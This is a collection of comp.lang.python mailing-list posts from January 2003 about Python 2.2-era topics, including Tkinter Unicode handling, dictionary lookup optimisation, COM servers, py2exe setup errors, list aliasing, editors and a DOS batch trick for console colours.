> > > I guess I don't know who your intended audience is, because to me such a
> > > statement really lowers your credibility. If you'd like I'd be happy to
> > > help rewrite it to at least make it accurate.
> > >
> >
> > I've heard big software projects done in Python, guess that's what you
> > are referring to. Being a C/C++/Java guy, it is hard for me to imagine
> > creating big software with weakly-typed languages beyond prototyping.
> 
> Hmm... how seriously would you take any assertion I made on the basis of
> what I'm comfortable imagining? <0.5 wink> Also, Python isn't a
> weakly-typed language.
> 

As I said, "I guess"-ed. Weakly-typed-ness, are variables required to
be declared with types before use, and do not change for most
situations? I know VB has a strict mode that enforces this.

> FWIW, it's hard for me to imagine creating big software with Java or C++,
> but somehow people manage to do it anyway. Having worked on moderately
> large projects in Java, C++, and Python, I've found Python to be well
> suited to the task. Java projects in particular tend to become unstoppable
> train wrecks as the project size grows.
> 

Large projects are hard to harness anyway. And every project has its
unique situation. Seems like a concensus for now that OOA/P is the
best methodoly for software engineering. Java and Python are so
similar to each other in terms of programming models, conceptually it
is hard for me to see which has a clear advantage. We have big Java
software products like Weblogic, WebSphere, etc. (funny Sun has none,
or, none that is successful.)

But, you are the one who's done all of these, so you have more say on
whether it is language or not that impacted your projects.

> > Even so, Java is still unbeatable.
> 
> I feel the same way about the color 'forest green'. Surely on that basis
> alone people will come around to my way of thinking, right?
> 

Not so sure what you mean but that's ok.

> Nice talking to you!
> -Dave

Likewise!
-James



From bvdpoel at kootenay.com  Sun Jan 26 15:32:44 2003
From: bvdpoel at kootenay.com (Bob van der Poel)
Date: Sun, 26 Jan 2003 13:32:44 -0700
Subject: Tkinter + Unicode -- possible FIX
Message-ID: <3e3446f4_1@dns.sd54.bc.ca>

In another thread I whinned about the entry of character outside of the
7bit ascii range into a tkinter Entry widget crashing my program.

First, the problem: Somewhere along the line the data in an Entry widget
is being checked. And if it has non-7bit character in it the return 
value for Entry.get() is type unicode, NOT type str. Now, any python 
code which attempts to compare or print this value causes the 
interpreter to exit with a line similar to:

	UnicodeError: ASCII encoding error: ordinal not in range(128)

Second, how I wasted a lot of time trying to fix this: I figured I had
to change my program, so I started to add lots of lines like:

	if type(result) != type(""):
		result=result.encode(defaultEncoding)

where the variable defaultEncoding had been determined by a call to
locale.getlocale()

All this turned out to be unnecessary.

Third, the simple fix:


In the python library files "site.py"  there is code which looks like:

          if 0:
                # Enable to support locale aware default string encodings.
                import locale
                loc = locale.getdefaultlocale()
                if loc[1]:
                    encoding = loc[1]

Simply chaning the 'if 0:' to 'if 1:' nicely fixes the problem. I'm not
sure if this relevant to all combinations of python/tkinter. But it
certainly is with python 2.2 on my Mandrake 9.0 installation.

Hope this helps someone else.

-- 
Bob van der Poel ** Wynndel, British Columbia, CANADA **
EMAIL: bvdpoel at kootenay.com
WWW:   http://www.kootenay.com/~bvdpoel







From andrew-pythonlist at puzzling.org  Sun Jan  5 02:10:09 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sun, 5 Jan 2003 18:10:09 +1100
Subject: php vs python
In-Reply-To: <9glf1v49v9920fh2ei8tlhqhrkf45j06ol@4ax.com>
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk> <3e160151$0$49101$e4fe514c@news.xs4all.nl> <3E1621F2.C9FA1D6F@engcorp.com> <ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com> <av82af$6eu$1@knot.queensu.ca> <20030104212105.22506d99.pythonhda@yahoo.com.replacepythonwithlinux> <9glf1v49v9920fh2ei8tlhqhrkf45j06ol@4ax.com>
Message-ID: <20030105071009.GF9891@frobozz.local>

On Sun, Jan 05, 2003 at 06:51:56AM +0000, Afanasiy wrote:
> On Sat, 4 Jan 2003 21:21:05 -0500, pythonhda
> <pythonhda at yahoo.com.replacepythonwithlinux> wrote:
> 
> >for key in d:
> >	print key, '=', d[key]
> >
> 
> Someone please verify this example is incorrect.
> Putting the value in a variable named 'key' still
> makes it a value, not a key... Right?
> 
> Wouldn't this code result in a no-index error on d[key] ?

Why don't you try running it?

bash-2.05b$ python
Python 2.2.2 (#1, Dec 18 2002, 10:36:37) 
[GCC 2.95.4 20011002 (Debian prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> d = {'one': 1, 'two': 2, 'three': 3}
>>> for key in d:
...     print key, '=', d[key]
... 
three = 3
two = 2
one = 1
>>> 

Much faster than asking comp.lang.python :)

-Andrew.





From oren-py-l at hishome.net  Tue Jan 14 12:14:33 2003
From: oren-py-l at hishome.net (Oren Tirosh)
Date: Tue, 14 Jan 2003 12:14:33 -0500
Subject: PEP 267 improvement idea (fwd)
In-Reply-To: <15908.13000.104839.920717@montanaro.dyndns.org>
Message-ID: <20030114171433.GA79473@hishome.net>

On Tue, Jan 14, 2003 at 09:54:48AM -0600, Skip Montanaro wrote:
> 
>     Oren> I know Guido likes the idea but the implementation is still far
>     Oren> from complete.
> 
> Can you elaborate on its incompleteness?

Ummmm... I've experimented with several different strategies and tricks.
I'm not so sure which ones are actually implemented in the latest
version of the patch on sourceforge.

One of the big improvements was speeding up failed lookups by adding
negative entries to "positively" identify keys not in the dictionary
(me_value == NULL, me_key != NULL, != dummy). This considerably speeds 
up the global/builtin lookup chain. Management of these entries is 
somewhere between limited to nonexistent. New entries are simply not 
added if there is not enough free space the table, resizing a dictionary 
with negative entries is probably buggy. Negative entries should also 
help instance/class/superclass lookup chain but it segfaults if used 
for anything other than LOAD_NAME and LOAD_GLOBAL so there must be other
bugs lurking there.

Inlining works really fast - but only if the entry is found in the first 
hash probe. I experimented with dynamically shuffling the entries to
ensure that the entry accessed most frequently would be first >90% of
the time instead of ~%75 of the time. This is not in the patch and I
don't have code that is anywhere near usable.

Interning - now that interned strings are not immortal this patch could
do be much more aggressive about interning everything. Dictionaries 
used as namespaces could be guaranteed to have only interned strings as 
entry keys and avoid the need for a second search pass on first failed 
lookup (before the negative entry is added). This is important because
many small temporary objects have attributes that are accessed only
once. Currently this first access is made slower by the patch instead
of faster.

The last strategy I was going to try before my free time shrunk
considerably (a job found me) was to create a new species of dictionary
in addition to "lookdict" and "lookdict_string". Dictionaries will start
their life as either "lookdict_string" or "lookdict_namespace",
depending on their expected usage. This is just an optimization hint -
the semantics are otherwise identical. A "lookdict_namespace" dictionary
interns all keys and adds negative entries for failed lookups. This
overhead pays when it's used as a namespace. Both "lookdict_namespace"
and "lookdict_string" will fall back to a "lookdict" dictionary when a 
non-string key is inserted.

Optimizing or inlining setitem for the common case where the entry 
already exists and is only set to a new value will also be nice.

    Oren




From a.clarke11 at ntlworld.com  Fri Jan 17 15:17:17 2003
From: a.clarke11 at ntlworld.com (Tony Clarke)
Date: 17 Jan 2003 12:17:17 -0800
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com> <b0969p$43v$1@mailgate2.lexis-nexis.com>
Message-ID: <3353cd1e.0301171217.5e56e1af@posting.google.com>

"rzed" <Dick.Zantow at lexisnexis.com> wrote in message news:<b0969p$43v$1 at mailgate2.lexis-nexis.com>...
> "Wouter van Marle" <wouterm at spammers-unite-here.com> wrote in message
> news:b08ank$dak12 at imsp212.netvigator.com...
> > Hi All,
> >
> > Can anyone recommend me an introduction on object oriented
>  programming in
> > general, and the trick in Python? Preferrably tutorial on the web or
>  so.
> >
(snip)
Hi
One of the most useful tips is to write out a problem statement as
concisely and comprehensively as you can.

Then for each noun in that text, substitute an object (usually, but
not always, a class), and for each verb substitute a method, or class
function.(See p 174 Learning Python)

And that is it! Write and test it a bit at a time, amending as
necessary, it works for me.
Best wishes

Tony Clarke



From gerhard.haering at gmx.de  Fri Jan  3 16:29:24 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: Fri, 3 Jan 2003 22:29:24 +0100
Subject: Threaded server in python!?
In-Reply-To: <av4u4r$v3c$06$1@news.t-online.com>
References: <av4u4r$v3c$06$1@news.t-online.com>
Message-ID: <20030103212924.GA3699@lilith.ghaering.test>

* Achim Domma <achim.domma at syynx.de> [2003-01-03 22:10 +0100]:
> Hi,
> 
> I would like to implement my own http chat server. As far as I know pythons
> threads are not very efficient due to the global interpreter lock.
> [...]

The GIL just means that Python won't take much advantage of more than
one processors (i. e. SMP machines). C extensions can release the GIL
for certain safe operations, though (ones that don't touch any Python
data structures).

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/




From johoffry at yahoo.com  Wed Jan 22 17:59:33 2003
From: johoffry at yahoo.com (Jeff Miller)
Date: 22 Jan 2003 14:59:33 -0800
Subject: Can't See My COM Server in COM Browser
Message-ID: <8f6680e6.0301221459.1643fa85@posting.google.com>

Hi all,
I am really new to COM and I am using ActivePython to create a COM
server. I want to be able to see the server with the COM browser. What
do I need to do it. For now it would suffice just to see the
HelloWorld example in the COM browser. Here is the code
class HelloWorld:
    _reg_clsid_ = "{D036ADC2-005F-4461-B48C-C946D557B406}"
    _reg_desc_ = "Python Test COM Server"
    _reg_progid_ = "Python.TestServer"
    _public_methods_ = [ 'Hello' ]
    _public_attrs_ = [ 'softspace', 'noCalls' ]
    _readonly_attrs_ = [ 'noCalls' ]

    def __init__( self ):
        self.softspace = 1
        self.noCalls = 0
    def Hello( self, who ):
        self.noCalls += 1
        # insert "softspace" number of spaces
        return "Hello" + " " * self.softspace + str( who )


if __name__ == '__main__':
    import win32com.server.register
    win32com.server.register.UseCommandLine( HelloWorld )

I can use the server through a python client like such:
import win32com.client
o = win32com.client.Dispatch( "Python.TestServer" )
o._print_details_()
o.softspace = 10
print o.Hello( "Jeff" )

But I cannot see the "Python.TestSever" in the list that COM browser
displays. Don't ask why I want to do this unless you want a long
explanation.
Thanks for any help - JeffM



From m.faassen at vet.uu.nl  Tue Jan 14 07:51:38 2003
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 14 Jan 2003 12:51:38 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
Message-ID: <b0114q$a5g$1@newshost.accu.uu.nl>

Afanasiy <abelikov72 at hotmail.com> wrote:
>  def format( self, width=80 ):    
>    self.lines = ['']
>    i = 0
>    for word in self.text.split():  
>      if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>        if self.textwidth(self.lines[i]) > 0:
>          self.lines[i] += ' '
>        self.lines[i] += word
>      else:
>        i += 1
>        self.lines.append(word)

If I see too many 'self.' I rewrite method to something like:

def format(self, width=80):
   lines = [''] # could write lines = self.lines = [''] instead 
   textwidth = self.textwidth 
   i = 0
   for word in self.text.split():
       if textwidth(lines[i]) + textwidth(word) <= width:
           if textwidth(lines[i]) > 0:
               lines[i] += ' '
           lines[i] += word
       else:
           i += 1
           lines.append(word)
   self.lines = lines # could skip this if wrote lines = self.lines = ['']

This may actually be more efficient too, as there are less attribute
lookups. If a method is really needing to get a whole host of attributes
as local variables I'd doubt the method or class is well written; usually
you only have to pull in one or two.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?



From bub at joos.us  Wed Jan 15 12:09:21 2003
From: bub at joos.us (Bubba)
Date: Wed, 15 Jan 2003 17:09:21 GMT
Subject: Newbie How do I get Calendar input from the PythonCard component Calendar?
Message-ID: <8d5b2v04bdpfii53kd9dhealllvvvm399k@4ax.com>

Tried many wasy all result in errorrs



From hwlgw at hotmail.com  Mon Jan 20 04:23:33 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 20 Jan 2003 01:23:33 -0800
Subject: Install Python in C:\usr\bin
References: <cb035744.0301151013.4f5c0327@posting.google.com> <cb035744.0301180748.3e2058d6@posting.google.com> <cb035744.0301191539.673bf0a1@posting.google.com> <3E2B607D.BEFA8BE6@alcyone.com>
Message-ID: <cb035744.0301200123.47ab3787@posting.google.com>

[Erik Max Francis]
> ...
> Are you sure the crash is happening when you import random?

Yes, I also get the "segmentation fault" when I login to the ISP and
do python on the commands line with "import random".  They run linux. 
Maybe they compiled Python themselves and one of their c libraries is
kaput.

> ...
> whrandom is the deprecated version.

Uh oh...



From padraig.brady at corvil.com  Tue Jan  7 06:41:14 2003
From: padraig.brady at corvil.com (Padraig Brady)
Date: Tue, 07 Jan 2003 11:41:14 +0000
Subject: iteration over methods
In-Reply-To: <3E1AB7B3.4050404@aon.at>
References: <3E1AB7B3.4050404@aon.at>
Message-ID: <3E1ABCDA.7000209@corvil.com>

How about:

class Someclass:
     def __init__(self):
         pass
     def method1(self):
         pass
     def method2(self):
         pass
     def runallmethods(self):
         for name, func in self.__class__.__dict__.items():
             if name[0:6] == 'method':
                 func(self)

P?draig.




From nomad*** at ***freemail.absa.co.za  Wed Jan 29 15:23:09 2003
From: nomad*** at ***freemail.absa.co.za (Nomad)
Date: Wed, 29 Jan 2003 22:23:09 +0200
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <pu@myRealBox.com>  of "Tue, 28 Jan 2003 19:49:10 +0100." <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org>
Message-ID: <2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com>

On Tue, 28 Jan 2003 20:08:20 +0100, Laura Creighton <lac at strakt.com>
wrote:

>> Hi all,
>> 
>> I don't want to start a thread comparing the Python and C++ languages, but
>> one question bothers me. Using Python, you can of course develop very
>> quickly due to high level constructs and the absence of compilation. On the
>> other hand, so-called "builder IDEs" or "RAD-IDE" (i.e. Borland C++ builder,
>> Microsoft Visual C++) also promise to allow you to develop quickly, even in
>> a less high-level language.
>> 
>> Therefore, my question is:
>> 
>> Is, or under which circumstances is the time which can be gained by using a
>> RAD-IDE equivalent to the time gained by using Python directly?
>> 
>> -Patrick
>
>My guess is 'never'.  The problem with developing in C++ is not that
>you don't have an IDE that makes development faster, but that in C++
>there are so many ways to shoot yourself in the foot that you have
>to spend forever re-reading your code to make sure that it doesn't
>interact in nasty, horrible ways with other people's code.  Or you
>spend your life debugging other people's badly designed templates.
>Or on the phone to Borland saying that you have found another bug in
>the destructors ... or ....
>
>I don't think that it is possible to write an IDE that makes me as
>productive in C++ as I am in Python with ed(1).  That is because almost
>all my time spent in C++ come from some other place than actually writing
>code from scratch.  Other people's milage may vary.
>
>Laura Creighton

I have to agree with Laura except for one point (I couldn't resist it
really, and apologies to Bjarne):

C makes it easy to shoot yourself in the foot.  However, with C++,
you're likely to blow off your whole leg.

;-)

-- 
Nomad

Wondering of the vast emptyness of the 'net
in search of something cool.



From ajs at ix.netcom.com  Sun Jan 19 12:23:32 2003
From: ajs at ix.netcom.com (Arthur)
Date: Sun, 19 Jan 2003 12:23:32 -0500
Subject: license question
Message-ID: <008f01c2bfdf$7e647440$8c4a9a40@Arts>

The scenario is as follows:

I am distributing code that is itself dependent on a Python 3rd party
modules.

The distribution of *that* module silently overwrites the index.html file in
the Doc directory of the standard Python distribution.  So that if one is to
do "Help", "Python Documentation..." from the standard IDLE, one gets the
top-level help file for the third party module, rather than the normal
Python toplevel help file.  If one unistalls that third party module, things
stay exactly the same, one gets the substituted toplevel help file, forever.

The overwrite, is without prompt.

I have contacted the person responsible for that distribution and let him
know I thought that the practice of his distribution was at the minimum,
ill-mannered.

He gave me some justification I could make no sense of.

Since my code is dependant on this distribution I have a "situation".

Would the practice of silently overwriting a  file that is part of the
standard Python distribution in any way constitute a violation of the Python
license.

And, if so, who might have standing to press the issue.

Art





From amk at amk.ca  Fri Jan 24 08:56:54 2003
From: amk at amk.ca (A.M. Kuchling)
Date: Fri, 24 Jan 2003 08:56:54 -0500
Subject: Python web development, really
In-Reply-To: <ba523vo5buee81j61aj3q26c3bq8lun9na@4ax.com>
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043359063.30364.python-list@python.org> <ba523vo5buee81j61aj3q26c3bq8lun9na@4ax.com>
Message-ID: <b0rgk6$e3g$1@main.gmane.org>

Afanasiy wrote:
> Webware is it's own daemon which would run behind Apache?
> So..., stability depends on another daemon, one with much
> less testing than Apache? Does it use lots of 3rd party
> Python modules/code to provide this daemon?

Depends how complicated the daemon is, though; if it's a simple daemon,
it's not too difficult to get it right and reliable.  For example, SCGI
was originally written because about once a week Apache's mod_fastcgi 
would hang, and attempts to replicate or debug the problem went nowhere. 
  I can't recall having any problems with SCGI once it went into 
production use.

--amk                                                    (www.amk.ca)
Right, freeze! I mean, don't freeze, I mean stand still!
       -- Ace, in "Dragonfire"







From klaatu at evertek.net  Mon Jan  6 10:48:24 2003
From: klaatu at evertek.net (Mike Dean)
Date: 6 Jan 2003 15:48:24 GMT
Subject: best python editor/ide for windows
References: <e34e8ce6.0301050714.2f8cf615@posting.google.com> <0sah1vs5mtl0tmnveqev1dklq8ppt2rmev@4ax.com> <3E196960.9A4@zeusedit.com> <9d791d77.0301060719.57b8bc0c@posting.google.com>
Message-ID: <avc8g8$eqv$1@ins22.netins.net>

There's always Vim (www.vim.org)...

It's what I use for most python editing on any platform.

Barring that, there's the standard Idle (in the standard Python
distribution) or PythonWin (in the win32all package), both of which are
fairly nice.

-Michael



From bokr at oz.net  Mon Jan 20 20:19:58 2003
From: bokr at oz.net (Bengt Richter)
Date: 21 Jan 2003 01:19:58 GMT
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com>
Message-ID: <b0i77u$icg$0@216.39.172.122>

On 20 Jan 2003 11:06:47 -0800, marcin at finisar.com (Marcin Matuszkiewicz) wrote:

>In the code below I created a two dimensional list in two ways.  List
>b behaves I expect, list a does not.  Could someone explain it?
>
>>>> a=[[0]*4]*2
>>>> a
>[[0, 0, 0, 0], [0, 0, 0, 0]]
>>>> a[0][0]=1
>>>> a
>[[1, 0, 0, 0], [1, 0, 0, 0]]
>>>> b=[[0, 0, 0, 0], [0, 0, 0, 0]]
>>>> b[0][0]=1
>>>> b
>[[1, 0, 0, 0], [0, 0, 0, 0]]
>>>>

 >>> a=[[0]*4]*2
 >>> b=[[0, 0, 0, 0], [0, 0, 0, 0]]
 >>> map(id,a)
 [8220592, 8220592]
 >>> map(id,b)
 [8220640, 8224736]

I.e., the two sub-lists of a are references to the same list,
so the same list is being displayed twice like a = [same, same]
so if you make a change to same[0], (however you spell it --
you could write a[0][0] or a[1][0] and refer to the same slot in same)
it will show up in duplicate when a is represented.

b has separate sublists, as the id's show.

will show up
Regards,
Bengt Richter



From grante at visi.com  Sat Jan 18 18:55:57 2003
From: grante at visi.com (Grant Edwards)
Date: 18 Jan 2003 23:55:57 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <3CjW9.13022$xx4.4835@nwrddc01.gnilink.net>
Message-ID: <slrnb2jqm7.91m.grante@localhost.localdomain>

In article <3CjW9.13022$xx4.4835 at nwrddc01.gnilink.net>, Carl Banks wrote:

>> The language doesn't allow one to declare the types of function/method
>> parameters.  Therefore function/method overloading is not possible.  In my
>> mind, that can be summarized as "the language doesn't allow it."
> 
> His point is that you can write a function that dispatches on type
> manually, like this:
> 
>     def fn(x):
>         if type(x) == type(1):
>             ...
>         elif type(x) == type([]):
>             ...
> 
> I would call that an overloaded function, even if it isn't technically
> an Overloaded Function (tm).  

Fair enough, but I only call it "overloading" when the dispatching is hidden
and automagical.

-- 
Grant Edwards                   grante             Yow!  Where does it go when
                                  at               you flush?
                               visi.com            



From urba0083 at tc.umn.edu  Sat Jan 11 15:05:21 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Sat, 11 Jan 2003 14:05:21 -0600
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> <3E205B02.3F201C08@engcorp.com> <jrq02v4rb3le6hfth6sk8nd8io1t8fmtt9@4ax.com>
Message-ID: <3E207901.7090200@tc.umn.edu>

Bubba wrote:

 > This is my setup.py
 > # setup.py
 >    from distutils.core import setup
 >    import py2exe
 >
 >    setup(name="counter",
 >          scripts=["counter.py"],
 >    )


And therein lies your syntax error. "from distutils.core import setup" 
cannot be indented since Python uses indentation for delimiting code 
blocks. "from" is part of the main block. Indenting it is causing the 
syntax error. That's why the carrot in the traceback is pointing to the 
first letter of "from" as well.

You also need to remove the indentation from all of the other statements 
because they are all part of the main code block. My fortune telling for 
you is that if you only remove it from the one starting with "from", the 
next error you will get is:

C:\Python22>python setup.py py2exe
   File "setup.py", line 4
     import py2exe
     ^
SyntaxError: invalid syntax

Remove the intendations and you should be fine.




From johan at contillion.com  Thu Jan  2 07:09:58 2003
From: johan at contillion.com (Johan)
Date: Thu, 02 Jan 2003 13:09:58 +0100
Subject: Best Python Editor (under Linux)
Message-ID: <pan.2003.01.02.12.09.57.823588@contillion.com>

Hi,

Anyone know some good Python editors under Linux?
With good color highlightning... :)

I prefer free editors (have seen WingIDE but it isnt free :(...).

I hope someone know where i can find some editors :)

Looking forward to your replies... :)

Regards,
Johan



From ajb128 at hotmail.com  Fri Jan 31 19:36:51 2003
From: ajb128 at hotmail.com (AJ)
Date: 31 Jan 2003 16:36:51 -0800
Subject: Python Threading front end
Message-ID: <3bebb915.0301311636.21966519@posting.google.com>

I'm working on a project that does loooong and slow simulations.  We
have a lot of code done already in C++, but we have no user interface
to speak of.  To run a simulation, you tweak the source files,
recompile, run, come back tomorrow and hope it worked.

We have 2 main goals for the next phase of the project.  1)
Multithreading in hopes using multiple processors to speed things up. 
2)  Put a nicer front end on everthing so other people can easily
change parameters, run the simulation, and then analyze some of the
results.  I'm looking at python already to do the UI and add scripting
capability, looks like it will be a good fit thanks to SciPy and
PyGtk.

We're having problems with the threading.  The program runs on both
windows and Linux and we're having trouble finding a good, free,
multi-platform threading library that doesn't clobber our build
process.  The simluation is really easy to make parrallel, we just
need to run the same function over and over. So my thought is maybe we
could use python to do the multithreading as well.

I see that python has no problem running multiple threads as long as
the threads aren't running python code.  So this is fine- only the UI
code would be in python.  But, I don't really see how to control a
C/C++ function that is running in a thread from python.  For example,
we might want to pause one thread of the simulation, examine its
intermediate results, and then continue the simulation.

So, to make a the long of it short:  
Does anyone have any suggestions or pointers to similar projects?  

Does anyone have any good thread examples? I've looked some but
haven't found much.

Can you "pause" a thread?  

Is any of this even worth trying to do?  

Thanks,

Aj



From spencer at efn.org  Thu Jan  9 19:04:32 2003
From: spencer at efn.org (Spencer Ernest Doidge)
Date: 10 Jan 2003 00:04:32 GMT
Subject: Pythonwin: how to save Interactive?
Message-ID: <avl2mg$dej$1@news.efn.org>

How do you save the Interactive window in PythonWin 2.2.1? 
Is there a way? I do File/Save and accept the filename Interactive,
but then I can't find such afterward.
 

-- 
Spencer Doidge



From jdsdafsfad at sdfsdfa.invalid  Sun Jan  5 00:42:07 2003
From: jdsdafsfad at sdfsdfa.invalid (Jive Dadson)
Date: Sat, 04 Jan 2003 21:42:07 -0800
Subject: Okay, okay.
References: <mailman.1041741608.16873.python-list@python.org>
Message-ID: <3E17C5AE.E0DC54B4@sdfsdfa.invalid>

Tim Peters wrote:

> [Jive Dadson]
> > Alright already.  I'll do it.
>
> Do what?
>
> > I wasn't expecting the Spanish Inquisition.
>
> Nobody expects (etc).

I'll write up a skreed with some observations on the present
implementation and how it might be modified.

Best regards, etc. etc.
Dadson (Jive)






From mertz at gnosis.cx  Wed Jan  1 14:46:05 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Wed, 01 Jan 2003 14:46:05 -0500
Subject: compare types?
References: <20021231000325.15f925c6.Ken@perfect-image.com>
 <001301c2b09c$c51bb7b0$21795418@dell1700>
 <mailman.1041320765.10859.python-list@python.org>
 <3353cd1e.0301010810.13521eb3@posting.google.com>
 <mailman.1041443042.553.python-list@python.org>
Message-ID: <9V0E+kKkXoaU092yn@gnosis.cx>         

Gerrit Holl <gerrit at nl.linux.org> wrote previously:
|As I Understand It, you want to know whether something is a list or not.
|Then why use isinstance()? To check whether it's a list, just use type():
| 46 >>> from types import ListType
| 47 >>> type(a) == ListType
|1

    >>> from types import *
    >>> class NewList(list): pass
    ...
    >>> lst = [1,2,3]
    >>> nl = NewList([4,5,6])
    >>> type(lst) is ListType
    1
    >>> type(nl) is ListType
    0
    >>> isinstance(lst, list)
    1
    >>> isinstance(nl, list)
    1

Of course, it's up to you to decide which answer you are more interested
in.  But for most people, the 'isinstance()' answer is more informative.

Yours, Lulu...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From maxm at mxm.dk  Fri Jan 10 03:28:19 2003
From: maxm at mxm.dk (Max M)
Date: Fri, 10 Jan 2003 09:28:19 +0100
Subject: Do pythons like sugar?
In-Reply-To: <aOnT9.36337$xb.22024@nwrddc02.gnilink.net>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <ihgT9.21296$u9.18028@fe08> <SSjT9.38031$1c.13089@nwrddc01.gnilink.net> <avkk75$5a7$1@slb0.atl.mindspring.net> <aOnT9.36337$xb.22024@nwrddc02.gnilink.net>
Message-ID: <3E1E8423.3090304@mxm.dk>

Carl Banks wrote:

> Look, I'm sorry, but I don't see it.  His original question was
> explicit and specific, even if was a tad more wordy than it had to be.
> He asked whether Python had syntax sugar for self; nothing more.  I
> don't think it was warranted to assume he was asking anything other
> than that.


But sometimes you have to answer something else to give a meaningfull reply.

I the example certianly belive it to be relevant to show that you can 
use pythons dynamic features, and rename a local member to get the same 
effect::

     aList = self.aList

Which basically solves the problem he was having. Though not in the way 
he asked for. There are many examples of this in Python, when people 
with different backgrounds gives it a try.

So second guessing is nessecary.

regards Max M


-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From max at alcyone.com  Thu Jan 30 22:46:59 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 19:46:59 -0800
Subject: Which exception has been used? (was: Which exception to use?)
References: <b16lui$j3s$1@bob.news.rcn.net>
		 <mailman.1043786834.24179.python-list@python.org>
		 <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk>
		 <v3jak3of0o8ga2@corp.supernews.com>
		 <qjfj3vg9spmf9pfvnnl9uj8odj8pobn9kn@4ax.com> <mailman.1043979118.5541.python-list@python.org>
Message-ID: <3E39F1B3.F09EA8AF@alcyone.com>

Chad Netzer wrote:

> Well, I think Cameron's point is that one can have exceptions that are
> NOT derived from Exception (although it is very bad style; but you may
> not have to be prepared to handle other people's code).  Also, string
> exceptions are still (and at least pychecker wil report that as a
> warning)

I tend to handle it with an except Exception, e: ... followed by an
except: ... where I handle either just sys.exc_type (if that's all I'm
interested in) or the full sys.exc_info().

I think in summary to the questions raised, StandardError is the class
which all internally used Python exception classes are derived. 
Exception is the class from which _all_ (including user-defined)
exception classes should be derived; StandardError, of course, derives
from Exception as well.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The only way to get rid of a temptation is to yield to it.
\__/ Oscar Wilde
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From kwalker at earth1.net  Wed Jan 15 20:13:24 2003
From: kwalker at earth1.net (Bill Walker)
Date: Wed, 15 Jan 2003 20:13:24 -0500
Subject: Windows Console Colors
References: <3e215e09$1_4@corp.newsgroups.com>
Message-ID: <3e260410_1@corp.newsgroups.com>

Here is a nifty solution to changing the console color when running python
in the interactive mode:

First, copy and paste the following debug program into an editor and save it
as "bluyel.scr":

=================================================
n bluyel.com
e 0100 B4 12 B3 10 CD 10 B8 40 00 8E D8 B8 00 06 B7 1E
e 0110 29 C9 B6 18 80 FB 10 74 04 8A 36 84 00 8A 16 4A
e 0120 00 FE CA CD 10 B4 02 8A 3E 62 00 29 D2 CD 10 C3
rcx
0030
w
q

=================================================

Make sure there is a CR at the end of the q on the last line.

Then run at the dos prompt:

debug < bluyel.scr

this will create a bluyel.com program. Copy it to the python directory.

Then cut and paste the following .bat file into your editor and save it to
the python directory as runPY.bat:

================
@echo off
mode con lines = 43
bluyel
python
================

Double-clicking on runPY.bat withh run a batch file that sets the console to
43 lines and sets the text
to yellow characters on a blue background. Then it runs the python
interpreter. All console i/o will
be yellow on blue, much better than the boring white on black that are the
default colors.

If you want different colors, change the last byte on the first e line in
the debug file. 1E  = 1 for blue bg plus E
(14) for yellow fg.


         0  -  black                   8  -  dark gray
         1  -  blue                    9  -  light blue
         2  -  green                  10  -  light green
         3  -  cyan                   11  -  light cyan
         4  -  red                    12  -  light red
         5  -  magenta                13  -  light magenta
         6  -  brown                  14  -  yellow
         7  -  white                  15  -  bright white








